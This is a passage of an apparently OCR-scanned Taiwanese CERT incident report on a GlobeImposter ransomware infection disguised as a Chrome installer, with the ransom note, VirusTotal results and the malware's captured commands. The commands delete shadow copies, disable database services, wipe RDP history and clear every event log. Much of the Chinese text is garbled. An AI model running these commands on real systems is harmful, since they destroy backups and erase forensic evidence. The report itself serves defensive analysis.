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I TO DECRYPT, FOLLOW THE INSTRUCTIONS BELOW.I

To recover data you need decrypt tool.
=¥ (AT 2 o

To get the decrypt tool you should:
205

Send 1 crypted test image or text file or document to Sin Eater 666@aol.com

ozt sz (B Rl sciE ) 3 HP#H Sin Eater 666@aol com
In the letter include your personal ID (look at the beginning of this document). Send me this ID in your first
email to me.
We will give you free test for decrypt few files (NOT VALUE) and assign the price for decryption all files.
After we send you instruction how to pay for decrypt tool and after payment you will receive a decrypt tool
and instructions how to use it We can decrypt few files in quality the evidence that we have the decoder.

(3) MOST IMPORTANT!! : 2 27 g #* —‘ﬁ PEBBENTH L B AR 2

4 > 5§ Sin Eater.666@aol.com it f& % #h% o # I A AT i £ A%

L L, 2z /_:_
ll' ;ﬁﬁiff’]‘__’ o

Sin Eater 666@aol.com

Only Sin Eater.666(@aol.com can decrypt your files

Do not trust anyone besides Sin Eater 666(@aol com

Antivirus programs can delete this document and you can not contact us later.
Attempts to self-decrypting files will result in the loss of your data

Decoders other users are not compatible with your data, becaunse each user's unique encryption key
175 Sin Eater 666@aol com FEFFEIRYSTH: o
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ERROR] D:\Swsten Volume Information'* FindFirstFile error 5

ERROR] D:\Syeten Volume Informationi* FindFirstFile error 5

ERROR] C:lautoexec.bat MoweFileEx error 5

ERROR] C:\confiz.sys MoveFileEx error 5

ERROR] C:\Uzerzidesktop.ini HoveFileEx error 5

ERROR] C:\Uzerz\Public\Documentz'\My Videoz\* FindFirztFile error 5

ERROR] C:\Ugers‘\Public\Documenteiy Picturegi* FindFiretFile error 5

ERROR] C:\Uzerz\PubliciDocumentzily Hugich* FindFirstFile error 5

ERROR] C:\Uzers\Mark\[ B¥8] EhsEsR\* FindFirstFile error 5

ERROR] C:\Ugers\Mark'\Tenplatesi* FindFiratFile error &

ERROR] C:\UzerziMarkiZendTo\* FindFirstFile error 5

ERROR] C:\Uzerz\Mark\Recent\* FindFirstFile error 5

ERROR] C:\Uzers\Mark'\PrintHoodv* FindFirgtFile error &

ERROR] C:\UzerziMarkiNetHoodV* FindFirstFile error 5

ERROR] C:\Uzerz‘\Mark My Documentz'* FindFirstFile error 5

ERROR] C:\lUgersiMarkilocal Settinge’* FindFiretFile error 5

ERROR] C:\lzers‘\Mark‘Documentz'dy Videog\* FindFiratFile error 5

ERROR] C:\Uzerz‘\Mark'\Documents'\My Pictures\* FindFirstFile error 5

ERROR] C:\lUgers\Mark'\Docunente'dy Muaich* FindFiretFile error 5

ERROR] C:\Uzerz\MarkiCookies\* FindFirstFile error 5

ERROR] C:\Uzerz‘\Mark‘Application Datal\* FindFirstFile error 5

ERROR] C:\Users\MarkiAppDatatlocaliTenporary Internet Fileeh\* FindFiretFile error 5
ERROR] C:\Uzers‘\MarkhAppDatat\Local‘\HistoryV* FindFirstFile error 5

ERROR] C:\Uzers‘\MarkhAppData‘\Localbhpplication Data‘\* FindFirstFile error 5

ERRCR] C:\Uzers\Default User\* FindFirstFile error 5 8
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|_| Excell.xlsx.Apollon865 19/11/ == 10KB
[2"] HOW TO BACK YOUR FILES 2019/11/6 119KB
|| NETWORK pptxApollon865  2019/11/6 = 34 KB
|| You.txt. Apollon865 = 1KB
|| BB docx.Apollon865 = 13KB
|| E#El.accdb.Apollon865 BE 433 KB

7. % % B AR E T4 0 4 7 Apollon865.exe 4 7 15 § ¥ = 3 =t cmd.exe £
HOW TO BACK YOUR FILES.exe » + ¢ £]:& ¥+ % il =iz THOW TO BACK
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Process Command
: Apollon865.exe (3488) "C:\Users\Mark\Downloads\Apollon865.exe"
w cmd.exe (2724) ( 1) C:\Windows\system32\cmd.exe /c @echo offvssadmin delete shadows /all /quietsc config browsersc config brow.,
' HOW TO BACK YOUR FILES.exe (3892) |"C:\ProgramData\HOW TO BACK YOUR FILES.exe"
gﬁcmd exe (3164) ( ) C:\Windows\system32\cmd.exe /c @echo offvssadmin Delete Shadows /all /quietreg delete "HKEY_CURRENT_USE...
&8 cmd.exe (3000) ( ) "C:\Windows\system32\cmd.exe" /c del C:\Users\Mark\Downloads\Apollon865.exe > nul

(1) cmd.exe(2724): %+ 47 18 § A =% ¢! cmd.exe(P1D:2724) % 34 {7 b B A 7 4p

FoRIR R TR A BT EEMF - L TR RGS

cmd.exe(2724)
C:\Windows\system32\cmd.exe /c @echo off BIEASERIES
vssadmin delete shadows /all /quiet {flBRSF-RIA
sc config browser
| sc config browser start=enabled | SxiBrowser
sc stop vss
sc config vss start=disabled BiFIVss
sc stop MongoDB
sc config MongoDB start=disabled
sc stop SQLWriter
sc config SQLWriter start=disabled
sc stop MSSQLServerOLAPService
sc config MSSQLServerOLAPService start=disabled
sc stop MSSQLSERVER
sc config MSSQLSERVER start=disabled BAFIMSSQLSERVER

sc stop MSSQLSSQLEXPRESS
sc config MSSQLSSQLEXPRESS start=disabled WEMSSOLESQLERPRESS

E3EAMongoDB

B3E SQLWriter

BB MSSQLServerOLAPService

sc stop ReportServer

sc config ReportServer start=disabled BiEiReporServes

sC stop‘OracIeSewlc?ORCL . BSEOracleServiceORCL

sc config OracleServiceORCL start=disabled

sc stop OracleDBConsoleorcl BS[OracleDBConsoleorcl

sc config OracleDBConsoleorcl start=disabled
sc stop OracleMTSRecoveryService
sc config OracleMTSRecoveryService start=disabled

sc stop OracleVssWriterORCL =
OracleVssWriterORCL
sc config OracleVssWriterORCL start=disabled A

sc stop MySQL
sc config MySQL start=disabled HAEIMySQL

| E9EHOracleMTSRecoveryService
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(2) cmd.exe(3164): % Apollon865.exe #* »* HOW TO BACK YOUR FILES.exe #4 7
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ts > € ¥el cmd.exe(PID:3164) kL (7 b F AT & £ LRI e SIS <
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cmd.exe(3164)

C:\Windows\system32\cmd.exe /c @echo off BRSNS

vssadmin Delete Shadows /all /quiet fflf&=sF-RIA

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"

for /F "tokens=*" %1 in (‘wevtutil.exe el') DO wevtutil cl "%1" JpxFiEE4HE /

TR Sz i S T 528 A R S R RS B e {EL
B sz 57 1 AR B B RBHYS ervers 3 i fH
Fi s R R E RN Serversg aE H

cmd.exe(3000): Apollon865.exe 3% {7 F| & f ¢ »¥ =7 cmd.exe(PID:3000) » &7 %

AN ERL A DA RT KRR e A R FL 7 fRENNER

23T B2 ey o

cmd.exe{3000)
"CAWindows\system32\cmd.exe” /c del C:\Users\Mark\Downloads\Apollon865.exe > nul
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FdeF wm oo
7 Google Chrome - 5= > =
—fr  |mE | et | e | semEe | LlmaeEa |

g Google Chuome

TERARA  E(E (lnk)
f: Google Chiome

wE: AT sers\Public\Desktop
Ful: 205 KB (2,105 fEIeH)
Bl 400KB (4,09 {ScEH)

T EERY Chrome
[ mween ]

201955158, £ 10:51.00
2019511 H6H, T4 03:55:26
201955158, £ 10:51.00

B HE:
12 BEA:
TFHIEEA:

A C\ig ;ﬁ\...\AppData\Local\Temp TR & o g IR Chrome #c 8 % % & &

chrome_installer.log » @ ¥ %% i3 expF fF 5 Apollon865.exe #4 7 #p ¥ o
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- T & ZHEEE v g g5 FHEENR
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chrome_installer.log 2019/11/6 5 04:24 ENE 25 KB

i C:\Program Files\Google\Chrome\Application\78.0.3904.87\Installer 7 i & p

IR Chrome #rfifzst » @ 2 %22 p 5 Apollon865.exe $4 (74 & -

. » Efg » TEEE (C) » ProgramFiles » Google » Chrome » Application » 78.0.3904.87 » Installer

MAZEBE v

v

-~

K
it

&5 chrmstp.exe T 03:53 3|

|_| chrome7z N5 03:52 KB

[} setup.exe 45 03:53 B
At % KE L ATRIR 0 Rz 2 8 & 2019/11/6(Apollon865.exe

)

% % 7 Google Chrome -

BRERRNESR EEEREEET ) BUSEERET ) #E5-T (EBRE) (BE] L (5E) -
#) EEs B Windows Ijas
EEEE v
27 Bz ZER x) 5%
| @ Google Chrome ~ Google LLC 2019/11/6 78.0.3904.87 |
l] Microsoft Office... Microsoft Corporation  2019/10/4 15.0.4420.1017
J£_AUtoRuns 1 Logon p F 7 4 > Chrome ¢ & ATR #8175 p &% H AR50 o

| 27 Everything | éLogcn | *4 Explorer | & Intemet Explorer | hj Scheduled Tasks | %Ser\rices | Drivers | @Codecs | ™ Boot Execute | [ mage

Autorun Entry

Description Publisher Image Path

Q HELM\SOFTWARE \Microsoft\Active Setup'Installed Components

¥ B
| inomm kDo (oL e s TO O 353 £ |

Timestamp
2019/5/15 £ 10:51

Chrome =% %

#2.;% chrmstp.exe & Virustotal # /g »

HEZ 65 00

Community

() No engines detected this file

fadf52457f4d9e3a5eb2b1a2294432f4639865524039cb7640fd6f9
497d2cTad
setup.exe

detect-debug-environment overlay peexe runtime-modules

1.84 MB 2019-11-06 08:38:03 UTC

signed

Virustotal

w2 ER B 57/70 0 2

®o0omE
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@ 57 engines detected this file
57
170
gg;gidfebf?;df%SA37454360067af61 7551ccddebbd77eda2bcd03280a2 391 KB 30191 1ﬁ06 ??49 56 UTC
Q Apollonges. ot o R
Community peexe
Ad-Aware @ Generic.Ransom.Globelmposter.FB74 AegisLab @ Trojan. Win32.DelShad.4lc
AhnLab-V3 (D Malware/Win32.Ransom.C3121937 Alibaba (@ Trojan:Win32/Maoloa.5bbd7bb4
ALYac () Trojan.Ransom.Globelmposter SecureAge APEX (O Malicious
Arcabit @ Generic.Ransom.Globelmposter. FB74 Avast @ Win32:Malware-gen
AVG @ Win32:Malware-gen Avira (no cloud) (O TR/Maoloa evrob
BitDefender @ Generic.Ransom.Globelmposter. FB74 BitDefenderTheta @ Gen:Trojan.Heur2 PPBB.3.0.suW@cC
DrWeb @ Trojan.Encoder.29413 Emsisoft @ Generic Ransom Glebelmposter FB74...
Endgame @ Malicious (high Cenfidence) eScan (D) Generic Ransom GlobelmposterFB74...
GData (1) Generic Ransom.Globelmposter FET4. lkarus (1) Trojan-Ransom Maoloa
Rising @ Ransom.Globelmposter!1 BCEE (CLA SentinelOne (Static ML) @ DF! - Suspicious PE
Sophos AV @ TrojiMaoloa-A Sophos ML (D Heuristic
Symantec () Downloader TACHYON (1) Ransom/\W32 Globelmpostere. 304128

10.:# HOW TO BACK YOUR FILES.exe £ — B4 & eiphk F @ 3 ID
Ransomware #* ‘% :,}iai 7% 5| 4 =k (https://id-ransomware.malwarehunterteam.com) » 55

¥ | ¥ _5 Globelmposter 2.0 #* % s %8 o

Globelmposter

© This ransomware has no known way of decrypting data at
this time.

It is recommended to backup your encrypted files, and hope
for a solution in the future.

Identified by

* sample_extension: . Apollon865
Click here for more information about Globelmposter 2.0

& would you like to be notified if there is any development regarding this ransomware? Click here.
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BHFpEE e
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N7 TANet Computer Emergency Response Team
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